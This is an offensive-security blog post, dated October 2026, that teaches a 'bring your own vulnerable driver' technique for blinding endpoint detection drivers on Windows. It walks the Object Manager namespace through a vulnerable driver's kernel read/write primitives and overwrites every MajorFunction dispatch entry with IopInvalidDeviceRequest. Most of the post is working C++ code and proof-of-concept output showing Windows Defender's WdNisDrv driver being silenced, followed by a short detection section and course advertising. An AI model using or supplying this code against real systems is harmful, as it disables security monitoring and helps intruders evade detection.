October 1, 2026
Blinding EDR Drivers via IRP Dispatch Table Overwrite
Welcome to this new Medium post, today we are going to explore IRP Dispatch Table Overwrite, a BYOVD technique that locates a driver object…

By S12 - 0x12Dark Development
5 min read
Welcome to this new Medium post, today we are going to explore IRP Dispatch Table Overwrite, a BYOVD technique that locates a driver object by walking the Windows Object Manager namespace and blinds it by replacing every entry in its MajorFunction[] array with IopInvalidDeviceRequest
Want to go deeper into Windows offensive development?
Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.
0x12 Dark Development Skip to content Join our offensive development courses and modules, and explore the techniques database with 100+ real…
Introduction
Before getting into the technique itself, there are a handful of kernel structures and concepts that you need to have clear
Windows Object Manager
The Windows kernel maintains a hierarchical namespace of objects: devices, drivers, symbolic links, sections, events, managed by the Object Manager. The root is pointed to by the kernel variable ObpRootDirectoryObject, which holds a pointer to an _OBJECT_DIRECTORY structure
Directories in this namespace (like \Driver, \Device) are represented as _OBJECT_DIRECTORY structures.
Each one has a hash table of 37 buckets where each bucket is a linked list of _OBJECT_DIRECTORY_ENTRY nodes, each pointing to the actual kernel object
The _OBJECT_DIRECTORY_ENTRY looks like this:
//0x18 bytes (sizeof)
struct _OBJECT_DIRECTORY_ENTRY
{
struct _OBJECT_DIRECTORY_ENTRY* ChainLink; //0x0
VOID* Object; //0x8
ULONG HashValue; //0x10
};//0x18 bytes (sizeof)
struct _OBJECT_DIRECTORY_ENTRY
{
struct _OBJECT_DIRECTORY_ENTRY* ChainLink; //0x0
VOID* Object; //0x8
ULONG HashValue; //0x10
};_DRIVER_OBJECT
Every loaded driver is represented in the kernel as a _DRIVER_OBJECT.
//0x150 bytes (sizeof)
struct _DRIVER_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct _DEVICE_OBJECT* DeviceObject; //0x8
ULONG Flags; //0x10
VOID* DriverStart; //0x18
ULONG DriverSize; //0x20
VOID* DriverSection; //0x28
struct _DRIVER_EXTENSION* DriverExtension; //0x30
struct _UNICODE_STRING DriverName; //0x38
struct _UNICODE_STRING* HardwareDatabase; //0x48
struct _FAST_IO_DISPATCH* FastIoDispatch; //0x50
LONG (*DriverInit)(struct _DRIVER_OBJECT* arg1, struct _UNICODE_STRING* arg2); //0x58
VOID (*DriverStartIo)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x60
VOID (*DriverUnload)(struct _DRIVER_OBJECT* arg1); //0x68
LONG (*MajorFunction[28])(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x70
};//0x150 bytes (sizeof)
struct _DRIVER_OBJECT
{
SHORT Type; //0x0
SHORT Size; //0x2
struct _DEVICE_OBJECT* DeviceObject; //0x8
ULONG Flags; //0x10
VOID* DriverStart; //0x18
ULONG DriverSize; //0x20
VOID* DriverSection; //0x28
struct _DRIVER_EXTENSION* DriverExtension; //0x30
struct _UNICODE_STRING DriverName; //0x38
struct _UNICODE_STRING* HardwareDatabase; //0x48
struct _FAST_IO_DISPATCH* FastIoDispatch; //0x50
LONG (*DriverInit)(struct _DRIVER_OBJECT* arg1, struct _UNICODE_STRING* arg2); //0x58
VOID (*DriverStartIo)(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x60
VOID (*DriverUnload)(struct _DRIVER_OBJECT* arg1); //0x68
LONG (*MajorFunction[28])(struct _DEVICE_OBJECT* arg1, struct _IRP* arg2); //0x70
};The field that matters for us is MajorFunction: an array of 28 function pointers, one per IRP major code (IRP_MJ_CREATE, IRP_MJ_READ, IRP_MJ_WRITE, etc.)
When the I/O Manager needs to deliver an IRP to a driver, it indexes into this array and calls the corresponding handler. If a handler slot is set to IopInvalidDeviceRequest (our technique) the kernel returns STATUS_INVALID_DEVICE_REQUEST, the driver silently rejects that IRP type
Methodology
The technique runs in five steps:
- Obtain the kernel base address of
ntoskrnl.exeviaNtQuerySystemInformation(SystemModuleInformation) - Read
ObpRootDirectoryObjectatntoskrnlBase + offsetto get the root_OBJECT_DIRECTORY - Walk the 37 hash buckets of the root directory, reading each
_OBJECT_DIRECTORY_ENTRY'sChainLinklist. For each object, resolve its_OBJECT_HEADER_NAME_INFOviaInfoMaskand compare the name againstL"Driver" - Once
\Driver\is found, repeat the same bucket walk inside that subdirectory, this time reading_DRIVER_OBJECT.DriverNamedirectly to match the target - With the
_DRIVER_OBJECTaddress in hand, overwrite all 28 entries ofMajorFunction[]with the address ofIopInvalidDeviceRequest
Two hash table walks through the Object Manager namespace. One write loop. The driver stops receiving IRPs
Implementation
Get ntoskrnl base
We enumerate all loaded kernel modules via NtQuerySystemInformation with class 11 (SystemModuleInformation), then search for the entry whose filename contains ntoskrnl.exe or ntkrnl:
NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
NULL, 0, &len);
std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
buffer.data(),
len,
&len
);NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
NULL, 0, &len);
std::vector<BYTE> buffer(len);
NTSTATUS status = NtQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemModuleInformation,
buffer.data(),
len,
&len
);Read ObpRootDirectoryObject
The offset of ObpRootDirectoryObject within ntoskrnl.exe is resolved at runtime (via PDB). We read 8 bytes from that address using the vulnerable driver's read primitive:
ULONG64 rootDirPtr = ntoskrnlBase + g_offsets.ObpRootDirectoryObject;
ULONG64 rootDir = 0;
if (!ReadPrimitive(drv, &rootDir, (LPVOID)(uintptr_t)rootDirPtr, sizeof(ULONG64))) {
printf("[-] Failed to read ObpRootDirectoryObject\n");
return 0;
}ULONG64 rootDirPtr = ntoskrnlBase + g_offsets.ObpRootDirectoryObject;
ULONG64 rootDir = 0;
if (!ReadPrimitive(drv, &rootDir, (LPVOID)(uintptr_t)rootDirPtr, sizeof(ULONG64))) {
printf("[-] Failed to read ObpRootDirectoryObject\n");
return 0;
}Walk the root directory buckets
An _OBJECT_DIRECTORY starts with its 37 bucket pointers. We read each one and follow the ChainLink list. For each object, we compute the header address and check if InfoMask & 0x02 is set. If it is, we read the name from _OBJECT_HEADER_NAME_INFO:
for (int i = 0; i < NUM_HASH_BUCKETS; i++) {
ULONG64 bucketAddr = rootDir + i * sizeof(ULONG64);
ULONG64 entry = 0;
if (!ReadPrimitive(drv, &entry, (LPVOID)(uintptr_t)bucketAddr, sizeof(ULONG64))) {
continue;
}
printf("[*] Bucket %d: entry=0x%llX\n", i, entry);
while (entry && IsKernelAddress(entry)) {
totalEntries++;
ULONG64 object = 0;
ReadPrimitive(drv, &object, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_Object), sizeof(ULONG64));
printf(" entry=0x%llX object=0x%llX\n", entry, object);
if (object && IsKernelAddress(object)) {
ULONG64 header = object - g_offsets.OH_Body;
UCHAR infoMask = 0;
ReadPrimitive(drv, &infoMask, (LPVOID)(uintptr_t)(header + g_offsets.OH_InfoMask), sizeof(UCHAR));
printf(" header=0x%llX infoMask=0x%02X\n", header, infoMask);
if (infoMask & 0x02) {
namedEntries++;
ULONG64 nameInfoOffset = GetNameInfoOffset(infoMask);
ULONG64 nameInfo = header - nameInfoOffset;
printf(" nameInfoOffset=0x%llX nameInfo=0x%llX\n", nameInfoOffset, nameInfo);
if (IsKernelAddress(nameInfo)) {
wstring objName;
if (KReadUnicodeString(drv, nameInfo + g_offsets.OHNI_Name, objName)) {
printf(" name: %ls\n", objName.c_str());
if (objName == L"Driver") {
printf("[*] Found \\Driver\\ directory at 0x%llX\n", object);
return SearchDriverInDirectory(drv, object, targetName);
}
}
else {
printf(" KReadUnicodeString failed\n");
}
}
}
}
ULONG64 next = 0;
ReadPrimitive(drv, &next, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_ChainLink), sizeof(ULONG64));
entry = next;
}
} for (int i = 0; i < NUM_HASH_BUCKETS; i++) {
ULONG64 bucketAddr = rootDir + i * sizeof(ULONG64);
ULONG64 entry = 0;
if (!ReadPrimitive(drv, &entry, (LPVOID)(uintptr_t)bucketAddr, sizeof(ULONG64))) {
continue;
}
printf("[*] Bucket %d: entry=0x%llX\n", i, entry);
while (entry && IsKernelAddress(entry)) {
totalEntries++;
ULONG64 object = 0;
ReadPrimitive(drv, &object, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_Object), sizeof(ULONG64));
printf(" entry=0x%llX object=0x%llX\n", entry, object);
if (object && IsKernelAddress(object)) {
ULONG64 header = object - g_offsets.OH_Body;
UCHAR infoMask = 0;
ReadPrimitive(drv, &infoMask, (LPVOID)(uintptr_t)(header + g_offsets.OH_InfoMask), sizeof(UCHAR));
printf(" header=0x%llX infoMask=0x%02X\n", header, infoMask);
if (infoMask & 0x02) {
namedEntries++;
ULONG64 nameInfoOffset = GetNameInfoOffset(infoMask);
ULONG64 nameInfo = header - nameInfoOffset;
printf(" nameInfoOffset=0x%llX nameInfo=0x%llX\n", nameInfoOffset, nameInfo);
if (IsKernelAddress(nameInfo)) {
wstring objName;
if (KReadUnicodeString(drv, nameInfo + g_offsets.OHNI_Name, objName)) {
printf(" name: %ls\n", objName.c_str());
if (objName == L"Driver") {
printf("[*] Found \\Driver\\ directory at 0x%llX\n", object);
return SearchDriverInDirectory(drv, object, targetName);
}
}
else {
printf(" KReadUnicodeString failed\n");
}
}
}
}
ULONG64 next = 0;
ReadPrimitive(drv, &next, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_ChainLink), sizeof(ULONG64));
entry = next;
}
}Search inside \Driver\
Once we have the \Driver\ _OBJECT_DIRECTORY, we run the same bucket walk, but this time we read _DRIVER_OBJECT.DriverName directly from each object body instead of going through the name info chain:
ULONG64 SearchDriverInDirectory(HANDLE drv, ULONG64 directory, const wstring& targetName) {
for (int i = 0; i < NUM_HASH_BUCKETS; i++) {
ULONG64 entry = 0;
if (!ReadPrimitive(drv, &entry, (LPVOID)(uintptr_t)(directory + i * sizeof(ULONG64)), sizeof(ULONG64)))
continue;
while (entry && IsKernelAddress(entry)) {
ULONG64 object = 0;
ReadPrimitive(drv, &object, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_Object), sizeof(ULONG64));
if (object && IsKernelAddress(object)) {
wstring driverName;
if (KReadUnicodeString(drv, object + g_offsets.DO_DriverName, driverName)) {
printf(" driver: %ls\n", driverName.c_str());
if (_wcsicmp(driverName.c_str(), targetName.c_str()) == 0) {
printf("[+] Found _DRIVER_OBJECT at 0x%llX (%ls)\n", object, driverName.c_str());
return object;
}
}
}
ULONG64 next = 0;
ReadPrimitive(drv, &next, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_ChainLink), sizeof(ULONG64));
entry = next;
}
}
printf("[-] Driver not found in \\Driver\\\n");
return 0;
}ULONG64 SearchDriverInDirectory(HANDLE drv, ULONG64 directory, const wstring& targetName) {
for (int i = 0; i < NUM_HASH_BUCKETS; i++) {
ULONG64 entry = 0;
if (!ReadPrimitive(drv, &entry, (LPVOID)(uintptr_t)(directory + i * sizeof(ULONG64)), sizeof(ULONG64)))
continue;
while (entry && IsKernelAddress(entry)) {
ULONG64 object = 0;
ReadPrimitive(drv, &object, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_Object), sizeof(ULONG64));
if (object && IsKernelAddress(object)) {
wstring driverName;
if (KReadUnicodeString(drv, object + g_offsets.DO_DriverName, driverName)) {
printf(" driver: %ls\n", driverName.c_str());
if (_wcsicmp(driverName.c_str(), targetName.c_str()) == 0) {
printf("[+] Found _DRIVER_OBJECT at 0x%llX (%ls)\n", object, driverName.c_str());
return object;
}
}
}
ULONG64 next = 0;
ReadPrimitive(drv, &next, (LPVOID)(uintptr_t)(entry + g_offsets.ODE_ChainLink), sizeof(ULONG64));
entry = next;
}
}
printf("[-] Driver not found in \\Driver\\\n");
return 0;
}Overwrite MajorFunction[]
With the _DRIVER_OBJECT address resolved, we write IopInvalidDeviceRequest's address into all 28 handler slots. The address of IopInvalidDeviceRequest is also resolved at runtime: it's an exported symbol in ntoskrnl.exe, so its address is ntoskrnlBase + offset
ULONG64 iopInvalidAddr = ntoskrnlBase + g_offsets.IopInvalidDeviceRequest;
for (int i = 0; i < 28; i++) {
ULONG64 entry = driverObj + g_offsets.DO_MajorFunction + i * sizeof(ULONG64);
WritePrimitive(drv, (LPVOID)(uintptr_t)entry, &iopInvalidAddr, sizeof(ULONG64));
}ULONG64 iopInvalidAddr = ntoskrnlBase + g_offsets.IopInvalidDeviceRequest;
for (int i = 0; i < 28; i++) {
ULONG64 entry = driverObj + g_offsets.DO_MajorFunction + i * sizeof(ULONG64);
WritePrimitive(drv, (LPVOID)(uintptr_t)entry, &iopInvalidAddr, sizeof(ULONG64));
}After this loop, any IRP sent to the target driver returns STATUS_INVALID_DEVICE_REQUEST
Full Code
https://github.com/S12cybersecurity/byovd-irp-dispatch-overwrite
Proof of Concept
[*] Bucket 36: entry=0xFFFFB2873452C960
entry=0xFFFFB2873452C960 object=0xFFFFE50A5B1F5360
header=0xFFFFE50A5B1F5330 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFFE50A5B1F5310
name: SAM_SERVICE_STARTED
entry=0xFFFFB28734526B70 object=0xFFFFB2873437BB30
header=0xFFFFB2873437BB00 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFFB2873437BAE0
name: Driver
[*] Found \Driver\ directory at 0xFFFFB2873437BB30
driver: \Driver\fvevol
driver: \Driver\vdrvroot
driver: \Driver\PptpMiniport
driver: \Driver\NetBT
driver: \Driver\acpiex
driver: \Driver\Wdf01000
driver: \Driver\WdNisDrv
[+] Found _DRIVER_OBJECT at 0xFFFFE50A66C4D960 (\Driver\WdNisDrv)
[+] _DRIVER_OBJECT: 0xFFFFE50A66C4D960
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
...[*] Bucket 36: entry=0xFFFFB2873452C960
entry=0xFFFFB2873452C960 object=0xFFFFE50A5B1F5360
header=0xFFFFE50A5B1F5330 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFFE50A5B1F5310
name: SAM_SERVICE_STARTED
entry=0xFFFFB28734526B70 object=0xFFFFB2873437BB30
header=0xFFFFB2873437BB00 infoMask=0x02
nameInfoOffset=0x20 nameInfo=0xFFFFB2873437BAE0
name: Driver
[*] Found \Driver\ directory at 0xFFFFB2873437BB30
driver: \Driver\fvevol
driver: \Driver\vdrvroot
driver: \Driver\PptpMiniport
driver: \Driver\NetBT
driver: \Driver\acpiex
driver: \Driver\Wdf01000
driver: \Driver\WdNisDrv
[+] Found _DRIVER_OBJECT at 0xFFFFE50A66C4D960 (\Driver\WdNisDrv)
[+] _DRIVER_OBJECT: 0xFFFFE50A66C4D960
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
Write primitive sent successfully. Bytes returned: 0
...Detection
MajorFunction integrity monitoring: A driver's MajorFunction[] entries should point to addresses within the driver's own image range. If all 28 slots suddenly point to IopInvalidDeviceRequest, that's anomalous
What this doesn't blind: This technique only silences IRP communication. Kernel callbacks registered via PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks, CmRegisterCallback, and minifilter dispatch tables are completely unaffected
Conclusions
The IRP Dispatch Table Overwrite gives you a clean, targeted way to blind a specific kernel driver: no kernel shellcode, no callback unregistration, no driver unload. Just two nested Object Manager walks and a write loo p
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.